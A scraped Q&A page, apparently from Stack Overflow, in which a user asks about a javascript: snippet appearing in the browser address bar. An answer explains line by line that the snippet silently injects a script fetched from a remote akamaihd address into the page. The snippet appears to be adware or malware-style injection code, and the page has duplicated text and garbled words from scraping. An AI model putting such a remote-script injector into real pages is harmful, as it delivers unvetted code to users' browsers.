After going on a webpage after some moments on the address bar I see this (instead of the actual address) --
javascript:try
{
if(document.body.innerHTML)
{
var a=document.getElementsByTagName("head");
if(a.length){var d=document.createElement("script");
d.src=";bp=BA&g=a856bc68-46e1-
43619542-5d821147c8cf";
a[0].appendChild(d);
}
}
catch(e){}
What does this code actually do ? How is it automatically ing on the address bar ?
After going on a webpage after some moments on the address bar I see this (instead of the actual address) --
javascript:try
{
if(document.body.innerHTML)
{
var a=document.getElementsByTagName("head");
if(a.length){var d=document.createElement("script");
d.src="https://apidivaptonbiz-a.akamaihd/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
43619542-5d821147c8cf";
a[0].appendChild(d);
}
}
catch(e){}
What does this code actually do ? How is it automatically ing on the address bar ?
Share Improve this question edited Sep 8, 2014 at 0:33 user2864740 62.1k15 gold badges158 silver badges229 bronze badges asked Sep 8, 2014 at 0:25 user3728385user3728385 11 gold badge2 silver badges4 bronze badges 1- 3 Please understand that Java and Javascript are two pletely different programming languages, about as closely related as ham is to hamburger, that if you mis-tag your question you will not get the right experts in to review it, and that this may hurt your chances of getting decent help. Since I know absolutely nothing about Javascript, this is about all that I can do for you except to wish you well and hope that you get a decent answer soon. – Hovercraft Full Of Eels Commented Sep 8, 2014 at 0:28
2 Answers
Reset to default 2Apparently, it loads a file through the address https://apidivaptonbiz-a.akamaihd/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-43619542-5d821147c8cf
and injects it on your current page.
try // try the code in the braces { }, control will jump to the catch block on error
{
if(document.body.innerHTML) // if this is running in a browser
{
var a=document.getElementsByTagName("head"); // get the <head> element
if(a.length){ // if a seems to be a valid HTMLElement
var d=document.createElement("script"); // create a <script> element
// and link it to the URL below
d.src="https://apidivaptonbiz-a.akamaihd/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
43619542-5d821147c8cf";
a[0].appendChild(d); // insert the new <script> element into the DOM
}
}
catch(e){} // ignore all errors from the try { } block (generally bad form)
Basically, this JavaScript fragment injects a script into the page.
Regarding how it got there, that's a little trickier. One possibility is that some JavaScript on the page set window.location.href
to this code fragment, but that seems odd to me.